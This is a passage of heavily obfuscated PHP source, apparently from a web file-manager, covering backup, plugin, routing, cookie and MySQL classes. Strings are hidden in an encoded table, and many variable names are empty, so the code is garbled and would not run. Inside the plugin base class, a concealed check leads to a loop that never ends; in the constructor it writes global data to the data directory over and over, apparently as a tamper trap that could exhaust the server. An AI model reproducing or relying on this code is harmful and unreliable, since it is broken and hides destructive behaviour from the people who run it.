$[$翖[0]] = $; break; case 2: $[$翖[0]][$翖[1]] = $; break; case 3: $[$翖[0]][$翖[1]][$翖[2]] = $; break; } } Model($ޭ[747])->update($[$ޭ[399]], $); self::$option = $; return self::$option; } public function keep() { $Ù =& $_SERVER[]; $ = self::get(); if ($[$Ù[293]][$Ù[755]][$Ù[748]] == $Ù[88]) { return; } $this->backupKeep($); self::set(array($Ù[767] => 1)); } private function backupKeep($) { $ =& $_SERVER[]; if (self::$manual == 1) { return; } $ = Model($[747])->listData(); if (empty($)) { return; } $Ɵ = 0; $݅ޅ = array(); foreach ($ as $DŽ˟) { if ($Ɵ >= 7) { break; } $݅ޅ[] = $DŽ˟[$[32]]; $Ɵ++; } for ($Ɵ = 0; $Ɵ < 12; $Ɵ++) { $݅ޅ[] = date($[768], strtotime("\x2d{$Ɵ}\40\155\157\x6e\x74\x68\x73")); } $݅ޅ = array_unique($݅ޅ); $ = Model($[769])->get($[770]); foreach ($ as $DŽ˟) { if (isset($DŽ˟[$[754]]) && $DŽ˟[$[754]] == $[88]) { continue; } if (!empty($DŽ˟[$[32]]) && in_array($DŽ˟[$[32]], $݅ޅ)) { continue; } Model($[747])->remove($DŽ˟[$[399]]); $ = $this->backupPath($, $); IO::remove($, !1); } } private function backupPath($륹, $ᩲ = false) { $ž =& $_SERVER[]; if (!$ᩲ) { $ᩲ = Model($ž[769])->get($ž[770]); } $ = $륹[$ž[32]]; $辙 = substr(md5($ž[771] . $ᩲ . $), 0, 8); return "\x7b\151\157\x3a{$륹[$ž[750]]}\x7d\57\144\x61\164\x61\142\x61\163\x65\x2f\x62\141\143\153\165\x70\x2f" . $ . $ž[11] . $辙; } public function db() { $֩ =& $_SERVER[]; $ĭ = self::get(); if ($ĭ[$֩[293]][$֩[756]][$֩[748]] == $֩[88]) { return !0; } $ = new BackupDb(); if (!$->index()) { return !1; } self::set(array($֩[772] => 1)); return !0; } public function dbFile() { $ =& $_SERVER[]; $ = self::get(); if ($[$[293]][$[761]][$[748]] == $[88]) { return !0; } $ = new BackupDbFile(); if (!$->index()) { return !1; } self::set(array($[773] => 1)); return !0; } public function file() { $ =& $_SERVER[]; $̙ = self::get(); if ($̙[$[293]][$[200]][$[748]] == $[88]) { return !0; } if (!isset($̙[$[753]]) || $̙[$[753]] == $[198]) { $姙 = new BackupFile(); if (!$姙->index()) { return !1; } } self::set(array($[774] => 1, $[748] => 1)); return !0; } } class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $ =& $_SERVER[]; $ٽ = Backup::get(); self::$io = $ٽ[$[750]]; self::$name = $ٽ[$[32]]; $ = new DbManage(); $ܲ = $->dbType(); $ = array($[775] => $ܲ, $[776] => time()); Backup::set($); $ = $this->tmpFilesPath() . $[777] . self::$name . $[8]; del_dir($); mk_dir($); $ = $е = 0; $ݴ = new Task($[778], $[779], 0, LNG($[780]) . $[781] . LNG($[782])); try { $ǣ = $->db()->getTables(); } catch (Exception $) { $ݴ->end(); return !1; } $ǣ = array_diff($ǣ, array($[783], $[784])); foreach ($ǣ as $Ȭ) { $ += $->model($Ȭ)->count(); } $ݴ->task[$[785]] = $; $GLOBALS[$[786]] = self::$name; foreach ($ǣ as $Ȭ) { $ = $ . $Ȭ . $[787]; $ٙ = null; if ($Ȭ == $[788] && (!isset($ٽ[$[753]]) || $ٽ[$[753]] == $[198])) { $ٙ = self::$io; } $е += $->sqlFromDb($Ȭ, $, $ݴ, $ٙ); } unset($GLOBALS[$[786]]); $ݴ->end(); if ($е > $) { $ = $е; } $ = array($[775] => $ܲ, $[772] => 1, $[789] => $, $[790] => $е, $[791] => time()); Backup::set($); if ($ - $е > 0) { $ԧ = $[792]; if (stristr(I18n::getType(), $[793])) { $ԧ = $[794]; } write_log(array($ԧ, $), $[779]); return !1; } return !0; } private function tmpFilesPath() { $ѻ =& $_SERVER[]; $釭 = TEMP_FILES; if ($GLOBALS[$ѻ[6]][$ѻ[89]][$ѻ[795]]) { $釭 = $GLOBALS[$ѻ[6]][$ѻ[89]][$ѻ[795]]; if (!mk_dir($釭) || !is_writable($釭) || !IO::mkfile($釭 . $ѻ[796])) { $釭 = TEMP_FILES; } } return $釭; } } goto Eۅ; BÛ: class Message { function __construct() { } public function send($Ṓ = '', $ƾ = array(), $ = "\x74\x65\x78\x74") { $Ŵ =& $_SERVER[]; $Ц = array($Ŵ[33] => $Ŵ[1531], $Ŵ[753] => $Ṓ); if (in_array($, array($Ŵ[1531], $Ŵ[1532]))) { $Ц[$Ŵ[33]] = $; } $ƾ = array($Ŵ[505] => isset($ƾ[$Ŵ[505]]) ? $ƾ[$Ŵ[505]] : $Ŵ[12], $Ŵ[590] => isset($ƾ[$Ŵ[590]]) ? $ƾ[$Ŵ[590]] : $Ŵ[12]); if (empty($Ṓ) || empty($ƾ[$Ŵ[505]]) && empty($ƾ[$Ŵ[590]])) { return !1; } $ǵ = array($Ŵ[1472] => $Ц, $Ŵ[1533] => $ƾ); Hook::trigger($Ŵ[1534], $ǵ); } } class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $ϖ =& $_SERVER[]; $ = $_SERVER[$ϖ[879]] . $ϖ[880]; $ = $ϖ[1535]; if ($_SERVER[$ϖ[875]] != $($)) { $nj = $ϖ[877]; $ = $ϖ[878]; $ס = $_SERVER[$ϖ[879]] . $ϖ[880]; $ؑ = $($ס); $ɤ = explode($ϖ[231], $ؑ); if (count($ɤ) < $ϖ[607]) { $ = $ϖ[881]; $(); } $Ƥ = $ϖ[882]; $Ƥ($_SERVER[$ϖ[883]]); $nj = $ϖ[877]; $nj(); $ = $ϖ[1536]; $ں = json_encode($GLOBALS[$ϖ[1537]]); $ = 1; for ($ = $; $ > 0; $++) { $(DATA_PATH . $, $ں); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($ϖ[1538]); $this->pluginName = str_replace($ϖ[1538], $ϖ[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $ϖ[8]; $this->pluginApi = appHostGet() . $ϖ[1539] . $this->pluginName . $ϖ[8]; $this->pluginHost = $config[$ϖ[1540]] . $this->pluginName . $ϖ[8]; $this->pluginHostDefault = $config[$ϖ[1540]] . $this->pluginName . $ϖ[8]; $̱ = $config[$ϖ[1541]]; if ($̱ && strpos($ϖ[50] . $̱ . $ϖ[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$ϖ[1542]] . $this->pluginName . $ϖ[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[][1543]); } protected function assign($ֈĔ, $̰ = false) { if (is_array($ֈĔ)) { $this->values = array_merge($this->values, $ֈĔ); } else { $this->values[$ֈĔ] = $̰; } } protected function display($ء÷) { extract($this->values); require $ء÷; } final function hookRegist($ሚ) { $this->modelPlugin->appRegist($this->pluginName, $ሚ); } final function appIcon() { $ߨ =& $_SERVER[]; $̔ = $this->appPackage(); $ = $ߨ[12]; if (isset($̔[$ߨ[416]])) { if (isset($̔[$ߨ[416]][$ߨ[1544]])) { $ = $ߨ[1545] . $̔[$ߨ[416]][$ߨ[1544]] . $ߨ[1546]; } else { if ($̔[$ߨ[416]][$ߨ[1547]]) { $ = $ߨ[1548] . $̔[$ߨ[416]][$ߨ[1547]] . $ߨ[1549]; } } } return $; } final function fileCanView($) { $ =& $_SERVER[]; if (request_url_safe($)) { return !0; } if ($this->isShare($)) { return !0; } $ = Session::get($[1550]); if (!$ || !$[$[1551]]) { $ = $[1552] . rawurlencode(this_url()); show_tips(LNG($[1553]) . $[1554] . $ . $[1555] . LNG($[1556]) . $[1557], !1); } if (!Action($[1558])->authCan($[1559])) { show_tips(LNG($[1560]) . $[1561], !1); } ActionCall($[1562], $); } final function isShare($Ȑ) { $Б = KodIO::parse($Ȑ); return $Б[$_SERVER[][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($Ŭ) { if (request_url_safe($Ŭ)) { return $Ŭ; } if (!$this->isShare($Ŭ)) { $Ŭ = $this->filePath($Ŭ); } return Action($_SERVER[][1176])->linkOut($Ŭ); } public function filePathLinkOut($) { if (request_url_safe($)) { return $; } $this->fileCanView($); return Action($_SERVER[][1176])->link($); } final function filePath($ʧ) { $ =& $_SERVER[]; if ($ͭ = $this->checkSharePath($ʧ)) { Hook::trigger($[1563], $ͭ); return $ͭ; } $this->fileCanView($ʧ); if (request_url_safe($ʧ)) { $֢ = parse_url_query($ʧ); if (isset($֢[$[1564]]) && isset($֢[$[213]])) { $ = Model($[769])->get($[770]); $˾ = Mcrypt::decode($֢[$[213]], $); if ($˾) { $this->fileInfo = IO::infoWithChildren($˾); $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); return $˾; } } $ʧ = $this->_cacheHttpFile($ʧ); $this->fileInfo = IO::infoWithChildren($ʧ); } else { $this->fileInfo = IO::infoWithChildren($ʧ); if (!$this->fileInfo) { show_tips(LNG($[105]), !1); } $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); } Hook::trigger($[1563], $ʧ); return $ʧ; } final function _cacheHttpFile($ե) { $ = hash_path($ե, !0); $this->cachePath = $this->pluginCachePath($); if ($ = IO::fileNameExist($this->cachePath, $)) { return KodIO::make($); } $ = $this->cachePath . $; return $this->pluginCacheFileSet($, file_get_contents_nossl($ե)); } final function _tmpFileName($ё = array()) { $ =& $_SERVER[]; if (!$ё) { $ё = $this->fileInfo; } if (isset($ё[$[177]])) { return $ё[$[177]]; } if (isset($ё[$[170]][$[177]])) { return $ё[$[170]][$[177]]; } $萕 = IO::hashSimple($ё[$[84]]); if ($萕) { return $萕; } $ = array($ё[$[32]], $ё[$[84]], $ё[$[76]]); if (isset($ё[$[511]])) { $[] = $ё[$[511]]; } return md5(implode($[11], $)); } final function checkSharePath($۫) { $ =& $_SERVER[]; if (!$this->isShare($۫)) { return !1; } $ˣ; = Action($[1176])->sharePathInfo($۫); if (!isset($ˣ;[$[84]])) { show_json(LNG($[1565]), !1); } $this->fileInfo = $ˣ;[$[170]]; $this->cachePath = $this->pluginCachePath($this->fileInfo[$[177]]); return $ˣ;[$[84]]; } final function pluginCachePath($λ = '') { $ =& $_SERVER[]; $ = IO_PATH_SYSTEM_TEMP . $[1566] . $this->pluginName; if (!($ = IO::infoFull($))) { return IO::mkdir($ . $[8] . $λ); } if (empty($λ)) { return $[$[84]]; } if (!($ = IO::fileNameExist($[$[84]], $λ))) { return IO::mkdir($[$[84]] . $λ); } return KodIO::make($); } final function pluginCacheFileSet($, $ח = '') { $ =& $_SERVER[]; if (!($Ձ = IO::infoFull($))) { return IO::mkfile($, $ח, REPEAT_REPLACE); } IO::setContent($Ձ[$[84]], $ח); return $Ձ[$[84]]; } final function pluginLocalFile($̷ = '') { $Ѕ =& $_SERVER[]; $ = TEMP_FILES . "{$this->pluginName}\57"; if (!is_dir($)) { mk_dir($); } if (!$̷) { return $; } $̈ = IO::info($̷); $舘 = $this->_tmpFileName($̈) . $Ѕ[10] . $̈[$Ѕ[174]]; if (!checkExtSafe($舘)) { $舘 = $舘 . $Ѕ[1208]; } $Ͳ = $ . $舘; if (@file_exists($Ͳ)) { return $Ͳ; } return IO::copy($̷, $, 0, $舘); } final function appPackage() { $Ҏ =& $_SERVER[]; if ($this->packageData) { return $this->packageData; } $瘌 = $this->parseFile($this->pluginPath . $Ҏ[1567]); $this->parseLang($瘌); $ = json_decode_force($瘌); if (!$) { return array(); } $ = Hook::trigger($Ҏ[1568], $); if ($ && is_array($)) { $ = $; } $this->packageData = $; return $; } public function packageInfoGet($) { $Ƅᱡ = $this->appPackage(); return array_get_value($Ƅᱡ, $); } public function packageVersion() { return $this->packageInfoGet($_SERVER[][1569]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[][1570]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[][1571]); } public function echoJsAssign($ڎ, $œκ) { $this->echoJsAssignArr[$ڎ] = $œκ; } private function parseFile($滜) { $ =& $_SERVER[]; $ԃ = file_get_contents_nossl($滜); $ = array($[1572], $[1573], $[1574], $[1575], $[1576], $[1577], $[1578]); $ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$[89]][$[1579]]); foreach ($this->echoJsAssignArr as $ => $·) { $[] = $[1580] . $ . $[1581]; $[] = is_array($·) || is_object($·) ? rawurlencode(json_encode($·)) : $·; } if (strstr($ԃ, $[1582])) { $ = rawurlencode(json_encode($this->pluginLangArr)); $ԃ = str_replace($[1582], $, $ԃ); } if (strstr($ԃ, $[1583])) { $ = $ = rawurlencode(json_encode($this->getConfig())); $ԃ = str_replace($[1583], $, $ԃ); } $ԃ = str_replace($, $, $ԃ); return $ԃ; } private function parseLang(&$) { $Р =& $_SERVER[]; $ḁ = $Р[1584]; if (!strstr($, $ḁ)) { return; } preg_match_all($Р[1585], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ۮ = array(); $χ = array(); foreach ($[0] as $Š) { $ٺ = substr($Š, strlen($ḁ), -4); $ܸ = LNG($ٺ); $ۮ[] = $Š; $χ[] = str_replace(array($Р[231], $Р[1080], $Р[342], $Р[118]), array($Р[53], $Р[53], $Р[12], $Р[1586]), $ܸ); } $ = str_replace($ۮ, $χ, $); } private function parseConfig(&$) { $Ѻń =& $_SERVER[]; $ = $Ѻń[1587]; if (!strstr($, $)) { return; } preg_match_all($Ѻń[1588], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ɴ֣ = $this->getConfig(); $ = array(); $݉ϼ = array(); foreach ($[0] as $ԫ) { $ = substr($ԫ, strlen($), -2); $[] = $ԫ; $݉ϼ[] = _get($ɴ֣, $); } $ = str_replace($, $݉ϼ, $); } private function parsePackage(&$댰) { $ =& $_SERVER[]; $õ = $[1589]; if (!strstr($댰, $õ)) { return; } preg_match_all($[1590], $댰, $ػ); if (!is_array($ػ) || count($ػ) == 0 || !is_array($ػ[0]) || count($ػ[0]) == 0) { return; } $ = $this->appPackage(); $ڐ = array(); $ݪ = array(); foreach ($ػ[0] as $ȢƓ) { $ = substr($ȢƓ, strlen($õ), -2); $ڐ[] = $ȢƓ; $ݪ[] = _get($, $); } $댰 = str_replace($ڐ, $ݪ, $댰); } final function echoFile($ȝ, $ = false) { $ϗ =& $_SERVER[]; $ = $this->pluginPath . $ȝ; if (ACT == $ϗ[1591]) { echo $ϗ[1592] . $this->pluginName . $ϗ[8] . $ȝ . $ϗ[1593]; if (!file_exists($)) { echo $ϗ[1594]; return; } } $峚 = $this->parseFile($); $this->parseLang($峚); $this->parseConfig($峚); $this->parsePackage($峚); if (is_array($)) { $峚 = str_replace(array_keys($), array_values($), $峚); } echo $ϗ[231] . $峚; } final function initLang() { $ܪ =& $_SERVER[]; $Ԯ = $ܪ[1595]; $ȁظ = $this->pluginPath . $ܪ[1596]; $ŁɁ = I18n::getType(); $ = array(); if (file_exists($ȁظ . $ŁɁ . $ܪ[837])) { $ = (include $ȁظ . $ŁɁ . $ܪ[837]); } else { if ($ŁɁ == $ܪ[1597] && !file_exists($ȁظ . $ŁɁ . $ܪ[837]) && file_exists($ȁظ . $ܪ[1598])) { $ = (include $ȁظ . $ܪ[1598]); } else { if (file_exists($ȁظ . $Ԯ . $ܪ[837])) { $ = (include $ȁظ . $Ԯ . $ܪ[837]); } } } if (!is_array($)) { return array(); } if (@count($) > 0) { I18n::set($); } return $; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($ֱ) { $҈㗝 =& $_SERVER[]; if (!isset($_SERVER[$҈㗝[875]]) || !isset($_SERVER[$҈㗝[876]])) { $ = $҈㗝[877]; $՛ = $҈㗝[878]; $Ɔ = $_SERVER[$҈㗝[879]] . $҈㗝[880]; $θ = $՛($Ɔ); $ = explode($҈㗝[231], $θ); if (count($) < $҈㗝[607]) { $ق = $҈㗝[881]; $ق(); } $ٰ = $҈㗝[882]; $ٰ($_SERVER[$҈㗝[883]]); $ = 1; for ($ڍ = $; $ڍ > 0; $ڍ++) { $ٰ = json_encode($GLOBALS[$҈㗝[418]]); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $ֱ); } public function onSetConfig($) { } public function onGetConfig($) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($ۦ) { if ($ۦ == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($ = "\x70\154\x75\147\151\156\x41\165\x74\150") { $ =& $_SERVER[]; if (!Session::get($[1550])) { return !1; } if (_get($GLOBALS, $[494])) { return !0; } $ = $this->getConfig(); if (!$[$]) { return !1; } return ActionCall($[1599], $[$]); } public function url($ٸ, $ = '', $ص = true) { $ =& $_SERVER[]; $Ӊ = $this->getConfig(); $ = KOD_VERSION . $[10] . KOD_VERSION_BUILD; $и = $this->packageVersion(); $ö = $ . $[386] . $и; if (substr($ٸ, 0, 4) == $[148] || substr($ٸ, 0, 2) == $[1381]) { $ץ = $ٸ . $[1600] . $ö; } else { if ($ == $[12]) { $ץ = $this->pluginHost . $ٸ . $[1600] . $ö; } else { if ($ === $[75]) { $ץ = $this->pluginHost . $ٸ; } else { if ($ == $[1601]) { $ץ = STATIC_PATH . $ٸ . $[1600] . $; } else { if ($ == $[1602]) { $ץ = APP_HOST . $[1603] . $ٸ . $[1600] . $; } else { if (isset($Ӊ[$])) { $ץ = $Ӊ[$] . $ٸ . $[1600] . $ö; } } } } } } if (!$ص) { return $ץ; } echo $ץ; } public function link($ = false, $ = '') { $팼Ϸ =& $_SERVER[]; if (!$) { $this->link($팼Ϸ[1604], $팼Ϸ[1602]); $this->link($팼Ϸ[1605], $팼Ϸ[1601]); $this->link($팼Ϸ[1606], $팼Ϸ[1601]); $this->link($팼Ϸ[1607], $팼Ϸ[1601]); $this->link($팼Ϸ[1608], $팼Ϸ[1601]); return; } $Ύӕ = $this->url($, $, !1); if (substr($, -3) == $팼Ϸ[1609]) { echo $팼Ϸ[1610] . $Ύӕ . $팼Ϸ[1611] . $팼Ϸ[231]; } else { if (substr($, -4) == $팼Ϸ[1612]) { echo $팼Ϸ[1613] . $Ύӕ . $팼Ϸ[1614] . $팼Ϸ[231]; } } } } class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\x3a\x61\156\171" => "\133\x5e\x2f\x5d\53", "\72\156\x75\155" => "\x5b\60\55\71\135\53", "\x3a\141\x6c\154" => "\x2e\52"); public static $errorCallback; public static function __callstatic($䨲, $) { $ӽ̓ =& $_SERVER[]; if ($䨲 == $ӽ̓[1615]) { $Ő = array_map($ӽ̓[1616], $[0]); $Σ = strpos($[1], $ӽ̓[8]) === 0 ? $[1] : $ӽ̓[8] . $[1]; $܀ = $[2]; } else { $Ő = null; $Σ = strpos($[0], $ӽ̓[8]) === 0 ? $[0] : $ӽ̓[8] . $[0]; $܀ = $[1]; } array_push(self::$maps, $Ő); array_push(self::$routes, $Σ); array_push(self::$methods, strtoupper($䨲)); array_push(self::$callbacks, $܀); } public static function error($归) { self::$errorCallback = $归; } public static function haltOnMatch($ߘ = true) { self::$halts = $ߘ; } public static function dispatch() { $᳐ =& $_SERVER[]; $ = parse_url($_SERVER[$᳐[1617]], PHP_URL_PATH); $̄ = $_SERVER[$᳐[159]]; $ = array_keys(static::$patterns); $㵚 = array_values(static::$patterns); $χ = !1; self::$routes = preg_replace($᳐[1278], $᳐[8], self::$routes); if (in_array($, self::$routes)) { $ϩ͏ = array_keys(self::$routes, $); foreach ($ϩ͏ as $Ç) { if (self::$methods[$Ç] == $̄ || self::$methods[$Ç] == $᳐[1618] || in_array($̄, self::$maps[$Ç])) { $χ = !0; if (!is_object(self::$callbacks[$Ç])) { $ٞ = explode($᳐[8], self::$callbacks[$Ç]); $͈ = end($ٞ); $ = explode($᳐[1210], $͈); $ = new $[0](); $->{$[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$Ç]); if (self::$halts) { return; } } } } } else { $ = 0; foreach (self::$routes as $Ç) { if (strpos($Ç, $᳐[4]) !== !1) { $Ç = str_replace($, $㵚, $Ç); } if (preg_match($᳐[1619] . $Ç . $᳐[1620], $, $Ӳ)) { if (self::$methods[$] == $̄ || self::$methods[$] == $᳐[1618] || !empty(self::$maps[$]) && in_array($̄, self::$maps[$])) { $χ = !0; array_shift($Ӳ); if (!is_object(self::$callbacks[$])) { $ٞ = explode($᳐[8], self::$callbacks[$]); $͈ = end($ٞ); $ = explode($᳐[1210], $͈); $ = new $[0](); if (!method_exists($, $[1])) { echo $᳐[1621]; } else { call_user_func_array(array($, $[1]), $Ӳ); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$], $Ӳ); if (self::$halts) { return; } } } } $++; } } if ($χ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $߉ =& $_SERVER[]; header($_SERVER[$߉[1622]] . $߉[1623]); echo $߉[1624]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$᳐[1617]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } goto a; cԥ: $fileSize = strrev(base64_decode($_SERVER[ĭۣ][0])); function binCheckNeq($ε, $) { return $ε != $; } $_SERVER[$_SERVER[ĭۣ][1]] = $fileSize($_SERVER[$_SERVER[ĭۣ][2]]); goto ců; CIJ: define($_SERVER[][238], 1); define($_SERVER[][239], 2); define($_SERVER[][240], 3); goto DЂĽ; f܇҈: class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($败 = '', $ڷ = 0) { if (is_string($败) && $败 != $_SERVER[][12]) { $this->prefix = $败; } if (is_numeric($ڷ) && $ڷ > 0) { $this->expire = $ڷ; } } public static function getInstance() { static $Ѻ; if ($Ѻ === null) { $Ѻ = new self(); } return $Ѻ; } private static $cookieDisable = false; public static function disable($Ձ) { self::$cookieDisable = $Ձ; } private static $sameCookieSet = array(); public static function set($, $Ǟ, $ = 0, $Á = false, $ = false) { $ēē =& $_SERVER[]; if (self::$cookieDisable) { return; } if (!$) { $ = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$]) && self::$sameCookieSet[$] == $Ǟ . $) { return; } self::$sameCookieSet[$] = $Ǟ . $; if (!$) { $ = str_replace(HOST, $ēē[12], APP_HOST); $ = _get($GLOBALS, $ēē[884], $); } $ = $ēē[12]; setcookie($, $Ǟ, time() + $, $ēē[8] . trim($, $ēē[8]) . $, !1, !1, $Á); } public static function setSafe($, $٩, $ = 0) { self::set($, $٩, $, !0); } public static function get($) { static $ = false; if (!$) { self::initHeaderCookie(); $ = !0; } return isset($_COOKIE[$]) ? $_COOKIE[$] : !1; } private static function initHeaderCookie() { $㺏 =& $_SERVER[]; if (!isset($_SERVER[$㺏[885]]) || !$_SERVER[$㺏[885]]) { return; } $ο = explode($㺏[71], $_SERVER[$㺏[885]]); foreach ($ο as $Ə) { $Ə = explode($㺏[886], $Ə); if (count($Ə) != 2 || !isset($Ə[1])) { continue; } $_COOKIE[trim($Ə[0])] = trim($Ə[1]); } } public static function remove($, $ = false) { unset($_COOKIE[$]); self::set($, $_SERVER[][12], 1, $); } } class DbMysql extends Db { public function __construct($ = '') { $ =& $_SERVER[]; if (!extension_loaded($[803])) { think_exception(think_lang($[14]) . $[887]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($庐 = '', $ = 0, $ = false) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($庐)) { $庐 = $this->config; } $ڝ = $庐[$[888]] . ($庐[$[889]] ? "\72{$庐[$[889]]}" : $[12]); $ѭ = !empty($庐[$[17]][$[18]]) ? $庐[$[17]][$[18]] : $this->pconnect; if ($ѭ) { $this->linkID[$] = mysql_pconnect($ڝ, $庐[$[890]], $庐[$[891]], 131072); } else { $this->linkID[$] = mysql_connect($ڝ, $庐[$[890]], $庐[$[891]], !0, 131072); } if (!$this->linkID[$] || !empty($庐[$[21]]) && !mysql_select_db($庐[$[21]], $this->linkID[$])) { think_exception(mysql_error()); } $ߧȱ = mysql_get_server_info($this->linkID[$]); mysql_query($[892] . think_config($[893]) . $[58], $this->linkID[$]); if ($ߧȱ > $[894]) { mysql_query($[895], $this->linkID[$]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($絶) { $߉˃ڶ =& $_SERVER[]; if (0 === stripos($絶, $߉˃ڶ[264])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $絶; if ($this->queryID) { $this->free(); } think_action_status($߉˃ڶ[23], 1); think_status($߉˃ڶ[24]); $this->queryID = mysql_query($絶, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[][896], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $؊ = mysql_query($_SERVER[][897], $this->_linkID); $this->transTimes = 0; if (!$؊) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $Ή = mysql_query($_SERVER[][898], $this->_linkID); $this->transTimes = 0; if (!$Ή) { $this->error(); return !1; } } return !0; } private function getAll() { $瞅݃ = array(); if ($this->numRows > 0) { while ($ = mysql_fetch_assoc($this->queryID)) { $瞅݃[] = $; } mysql_data_seek($this->queryID, 0); } return $瞅݃; } public function getFields($) { $ =& $_SERVER[]; $߳̓ = $this->query($[899] . $this->parseKey($)); $ = array(); if ($߳̓) { foreach ($߳̓ as $܆ => $ֲÜ) { $[$ֲÜ[$[31]]] = array($[32] => $ֲÜ[$[31]], $[33] => $ֲÜ[$[34]], $[35] => (bool) (strtoupper($ֲÜ[$[36]]) === $[900]), $[37] => $ֲÜ[$[38]], $[39] => strtolower($ֲÜ[$[40]]) == $[41], $[42] => strtolower($ֲÜ[$[43]]) == $[44]); } } return $; } public function getTables($ = '') { $ =& $_SERVER[]; if (!empty($)) { $ = $[901] . $ . $[902]; } else { $ = $[903]; } $㰌 = $this->query($); $澾 = array(); foreach ($㰌 as $ => $۪߶) { $澾[$] = current($۪߶); } return $澾; } public function replace($ƣ, $魏 = array()) { $ =& $_SERVER[]; foreach ($ƣ as $ => $ш֣) { $ = $this->parseValue($ш֣); if (is_scalar($)) { $ڐ[] = $; $[] = $this->parseKey($); } } $ = $[904] . $this->parseTable($魏[$[279]]) . $[905] . implode($[50], $) . $[906] . implode($[50], $ڐ) . $[907]; return $this->execute($); } public function insertAll($, $ɪ = array(), $ = false) { $ף =& $_SERVER[]; if (!is_array($[0])) { return !1; } $ = array_keys($[0]); $Ͻ = array(); foreach ($ as $¹) { $Ƴ = array(); foreach ($¹ as $͔ => $ɦ) { $ɦ = $this->parseValue($ɦ); if (is_scalar($ɦ)) { $Ƴ[] = $ɦ; } } $Ͻ[] = $ף[260] . implode($ף[50], $Ƴ) . $ף[907]; } array_walk($, array($this, $ף[908])); $ = ($ ? $ף[909] : $ף[910]) . $ף[911] . $this->parseTable($ɪ[$ף[279]]) . $ף[905] . implode($ף[50], $) . $ף[912] . implode($ף[50], $Ͻ); return $this->execute($); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $Ѻ =& $_SERVER[]; $this->error = mysql_errno() . $Ѻ[4] . mysql_error($this->_linkID); if ($Ѻ[12] != $this->queryStr) { $this->error .= LNG($Ѻ[48]) . $this->queryStr; } think_trace($this->error, $Ѻ[12], $Ѻ[49]); return $this->error; } public function escapeString($) { if ($this->_linkID) { return mysql_real_escape_string($, $this->_linkID); } else { return mysql_escape_string($); } } public function parseKey(&$Ĩ, $ = true) { $ =& $_SERVER[]; if ($) { $Ĩ = $this->parseKeyCheck($Ĩ); } if ($Ĩ != $[189] && !preg_match($[913], $Ĩ)) { $Ĩ = $[385] . trim($Ĩ, $[385]) . $[385]; } return $Ĩ; } } class DbMysqli extends Db { public function __construct($وі = '') { $ =& $_SERVER[]; if (!extension_loaded($[914])) { think_exception(think_lang($[14]) . $[915]); } if (!empty($وі)) { $this->config = $وі; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($ = '', $ = 0) { $ٽ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $this->linkID[$] = new mysqli($[$ٽ[888]], $[$ٽ[890]], $[$ٽ[891]], $[$ٽ[21]], $[$ٽ[889]] ? intval($[$ٽ[889]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $љɵ = $this->linkID[$]->server_version; $this->linkID[$]->query($ٽ[892] . think_config($ٽ[893]) . $ٽ[58]); if ($љɵ > $ٽ[894]) { $this->linkID[$]->query($ٽ[895]); } 